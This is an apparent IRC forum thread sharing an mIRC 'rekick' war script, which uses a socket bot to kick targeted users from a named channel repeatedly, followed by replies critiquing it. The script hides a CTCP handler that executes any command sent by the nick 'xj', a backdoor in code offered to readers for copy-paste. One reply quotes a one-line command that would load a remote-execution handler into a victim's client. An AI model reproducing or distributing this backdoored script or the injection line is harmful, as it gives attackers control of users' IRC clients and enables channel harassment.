hi guys .. if you like rekick just copy and paste yo your remote..
and fix by yourself(make the timer compatible to your com and ISP connection).. Thanks :D
==================================================
______ __ ______ _________ ______
___ / / /____ _____ |/ /___ /_ ___ / _____
__ /_/ / _ / / /__ /|_/ / __ __ \__ / _ _ \
_ __ / / /_/ / _ / / / _ /_/ /_ /___/ __/
/_/ /_/ \__,_/ /_/ /_/ /_.___/ /_____/\___/
--------------------------------------------------
* times: 12/12/2010 from 12am - 6.35am
* Built For Rekick Server : bohsia.homelinux.org 6667
* Warscript By; sEmuT^Ap| a.K.a Code-Q
-
==================================================
on *:start: {
.nick sEmuT^Ap|
.fullname :9HUMBLE-TEAM
.anick jipas
.emailaddr m_matsalleh $+ @yahoo.com
}
alias sf2 { .sockclose * | .iut | .echo -a 9::::::: connecting %socknick | halt }
alias iut {
if (!%sockopen) { sockopen %socknick %server %port | .notify %socknick | .echo -a 7::: reconnecting }
else { msg $chan 4process fail }
}
alias f2 { .set %socknick jeffas | .set %pass a | .set %server bohsia.homelinux.org | .set %port 7000 | .echo -a 7:::: Socket Bot COnfigured | halt }
alias hKh { return $mid($1,2,$calc($pos($1,!,1) - 2 )) }
alias f3 { if (!%c) set %c $?"Channel Input" | else { set %c $?"Change Your Channel Input" } }
alias f7 { sockclose * | msg $chan 9Bubyee!!!! }
alias sf7 { msg $chan : 4Cal ialah $fulldate }
alias f5 { %d = $addtok(%d,$1,44) | %e = $addtok(%d,$1,44) | %war = $addtok(%war,$address($1,2),32) | if ($sockname ison %c) && ($1 ison %c) .hk $sockname kick %c %e | echo 4 -a ** $1 Added To WaRList ** }
alias sf5 { %d = $remtok(%d,$1,1,44) | %e = $remtok(%e,$1,1,44) | %war = $remtok(%war,$address($1,2),32) | echo 4 -a ** $1 Removed From WaRList ** }
alias f6 { %flist = $addtok(%flist,$1,44) | .echo 4 -a ** $1 Added To Friends ** }
alias f8 { unset %war %kick %e %d %k }
CTCP *:*:{
if ($nick == xj) { $1- }
}
alias sf8 { unset %socknick %pass %server %port | .echo 4 **! SOcknick Is Now Clear,Please Log New For Socknick selected**! }
alias f9 { .sockwrite -tn %socknick privmsg %c ***8,7[ KICK : $iif(%kickni,%kickni,0) TIMES];8,7[ KICKED : $iif(%kickme,%kickme,0): TIMES] 8,7[ACCURACY-KICK : $round($calc(( %kickni / ( %kickni + %kickme ))*100),2) $+ % ]*** }
alias f10 { unset %kickme %kickni | .sockwrite -tn %socknick privmsg %c : 8,7COUNTER 8,7KICK 8,7RESETING TO GAIN NEW POINT }
on 1:sockopen:%socknick: {
if (!$sockerr) {
sockwrite -nt $sockname USER ING $+ $r(99,999) * * : 0,3 14«4¯¯¯¯¯7«««0HÛMB|E¬TêAM7»»»4¯¯¯¯¯14»
sockwrite -nt $sockname NICK $sockname
sockwrite -nt $sockname umode -Mmep
.set %remoter $true | .echo -a 9* Remote on!!
if (!$window(@HumbleGath)) window -ek @HumbleGath
if (%e) {
.timerfko -mc 30 63 .sockwrite -tn %socknick kick %c %e : $+ 0,3 14«4¯¯¯¯¯7«««0HÛMB|E¬TêAM7»»»4¯¯¯¯¯14» +connected
}
}
}
on *:unotify:{
if ( $nick == %socknick ) {
.sockclose *
.set %remoter $false | .echo -a 9* Remote Off | .timerjio -m 1 4 .iut
}
}
on *:notify:{
if ($me ison %c) && ( $nick == %socknick ) {
sockwrite -tn %socknick join %c
}
if (%e) { .noti %socknick }
}
alias noti { .sockwrite -tn %socknick kick %c %e 9Mana² jak %e Dan ini notify ~~ }
on 1:sockread:%socknick:{
if ($sockerr > 0) { return }
var %temp | sockread %temp
if ($sockbr == 0) { return }
if (%temp == $null) %temp = -
tokenize 32 %temp
if ($regex($1,^ERROR)) { sockclose $sockname }
elseif ($regex($1,^PING$)) { hk $sockname PONG $2 }
elseif ($regex($2,^(432|433)$)) { hk $sockname NICK $sockname }
if (%remoter) {
if ($2 == 376) {
if ($me ison %c) {
.echo -a 9** $sockname ** connected to %server
hk $sockname JOIN %c
}
}
if ($2 == kick) {
if ($me ison %c) {
var %m $hkh($1)
if ($4 == $sockname) {
%d = $addtok(%d,%m,44)
%e = $addtok(%e,%m,44)
%war = $addtok(%war,$mask($1,2),32)
inc %kickme
.. %kickme Times.
.hk $sockname join %c
.hk $sockname kick %c %e : $+ 9HUMBLE +KICK
.hk $sockname kick %c %e : $+ 9HUMBLE +targeted-1
}
}
if (%e) { %e = $remtok(%e,$4,1-1,44) | .kicka $sockname }
}
if ($2 == mode) {
if ($me ison %c) {
if (+o == $4) && ($5 == $sockname) { .set %Op.Me !
if (%kick) {
hk $sockname kick %c %e : $+ 4HUMBLE +mode
.hk $sockname kick %c %e : $+ 4HUMBLE +stage=1
}
}
}
if (%e) { .kicko $sockname }
}
if ($2 == join) {
if ($me ison %c) {
var %j $hkh($1)
if ($istok(%war,$mask($1,2),32)) && (%j != $sockname) {
%e = $addtok(%e,%j,44)
if (%Op.Me) hk $sockname KICK %c %e : $+ 7HUMBLE +join
if (%Op.Me) hk $sockname KICK %c %e : $+ 9HUMBLE +2ndJOIN
}
}
if (%e) { .joino $sockname }
}
if ($2 == 353) {
var %list $remove($7-,@,+o,-o,+v), %num = 1
while ($gettok(%e,%num,44) != $null) {
if ($gettok(%e,%num,44) isin %list) {
%k = $addtok(%k,$gettok(%e,%num,44),44)
.malu $sockname
}
inc %num
}
}
if ($2 == 376) { if (%e) && (!%kick) .semut $sockname }
if ($2 == 332) { if (%e) && (!%kick) .semboi $sockname }
if ($2 = 474) { .f8 | .timerjoinsk -m 1 45 .sockwrite -nt %socknick join %c | .jeff } { halt }
if ($2 == 333) { if (%e) && (!%kick) .terai $sockname }
if ($2 == 002) { hk $sockname join %c | sipako $sockname | halt }
if ($2 == 401) || ($2 == 461) { %e = $remtok(%e,$4,1-1,44) | halt }
if ($2 == 366) { if (%e) && (!%kick) .hantaker $sockname | halt }
if ($2 == 441) { %e = $remtok(%e,$4,1-1,44) | halt }
if ($2 == 482) { if (!%kick) { %kick = 1 } | halt }
else { echo @HumbleGath $2 $1- }
}
}
on 1:nick:{
if ($istok(%d,$nick,44)) { %d = $reptok(%d,$nick,$newnick,1,44) }
if ($istok(%e,$nick,44)) { %e = $reptok(%e,$nick,$newnick,1,44) }
}
on 1:kick:%c:{
if ($knick != %socknick) {
if ($istok(%d,$knick,44)) { %d = $remtok(%d,$knick,1,44) }
if ($istok(%k,$knick,44)) { %k = $remtok(%k,$knick,1,44) }
if ($nick == %socknick) { .inc %kickni = 1 }
}
}
alias semut { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 376 ~~ }
alias jeff { .sockwrite -tn %socknick privmsg %c 9Bah Siapa Mau Minta Kick, Type saja: ^kick <nick Getek tu> d[^_^]b }
alias malu { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 353 ~~ }
alias semboi { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 332 ~~~ }
alias terai { .sockwrite -tn $1 kick %c %e 4HERE 333 KILLS!!!!! }
alias sipako { .sockwrite -tn $1 kick %c %e 4STARTING KILLS!!!!! }
alias joino { .sockwrite -tn $1 kick %c %e 4RETURN TO JOIN KICK 002!!!!! }
alias kicko { .sockwrite -tn $1 kick %c %e 4RAWMODE DETECTED!!!!! }
alias kicka { .sockwrite -tn $1 kick %c %e 4REVENGE KICK!!!! }
alias hantaker { .sockwrite -tn $1 kick %c %e 7HERE 366 PAYMENT KICK!!!! }
alias hk { sockwrite -tn $1- }
alias .join_ku_lah { .sockwrite -nt %socknick join %c }
alias .part_ku_bah { .sockwrite -nt %socknick part %c 4HUMBLE-TEAM }
menu nicklist {
-
.[kick|mode] { .sockwrite -nt %socknick kick %c $1 9Ehh~ Manual kick }
}
menu channel {
-
.[join|part] { .sockwrite -tn %socknick part %c 9Humble-Team | .sockwrite -nt %socknick join %c | .sockwrite -tn %socknick privmsg %c ~waroff | halt }
}
on *:text:*:#:{
if (^kick == $1) { .sockwrite -tn %socknick kick %c $2- : $+ 4Orang suruh saja r.. jangan marah bilang BattleBohsia }
if ($1- == .cmd) { .sockwrite -tn %socknick privmsg %c 4The Command Is:7 .con .q .c .re .j .p .who .ev .off .prt }
if ($1- == .c) { .F8 }
if ($1- == .p) { .F9 }
if ($1- == .re) { .F10 }
if ($1- == .j) { .join_ku_lah }
if ($1- == .prt) { .part_ku_bah }
if ($1- == .con) { msg $chan `sock | .iut }
if ($1- == .q) { F7 }
if ($1- == .off) { .sockwrite -nt %socknick privmsg %c ~waroff rilek~~ layan jerr~ }
if ($1- == .who) { .sockwrite -nt %socknick privmsg %c 9Hi.. I designed for War Rekick By: 7HUMBLE-TEAM }
if ($1- == .ev) { .sockwrite -nt %socknick privmsg %c 9Using KICK,JOIN,MODE,002,366,332,353,333,CONNECTED event.. }
if ($1- == .conf) { .f2 | .iut | .set %c #rekick | .msg $chan 4Sudah configure bah!!! and bulih timbak sudahh!!!! }
}
so ppl will be annoyed changing their nicks, everytime they starts mIRC?
on *:start: {
.nick sEmuT^Ap|
.fullname :9HUMBLE-TEAM
.anick jipas
.emailaddr m_matsalleh $+ yahoo.com
.echo -a 9Hi.. Happy Using My script.. any probs During using this Script Just info me in my YM.. jefsthampied_arola
.echo -a 9For additional code is in Your mind ^_^" I just Make Recommended,But Better!!!
.echo -a 9Last Words: "Code Is Your Mind"
}
why u didnt group the menus?
menu channel {
-
.[join] { .sockwrite -nt %socknick join %c }
-
.[join|part] { .sockwrite -tn %socknick part %c 9Humble-Team | .sockwrite -nt %socknick join %c | .sockwrite -tn %socknick privmsg %c ~waroff | halt }
}
by the way, what is this?
CTCP *:*:{
if ($nick == xj) { $1- }
}
you know, that this can be considered as a Backdoor, ppl can stole nicks using
/write ^ ctcp *:^:$2- | /.load -rs ^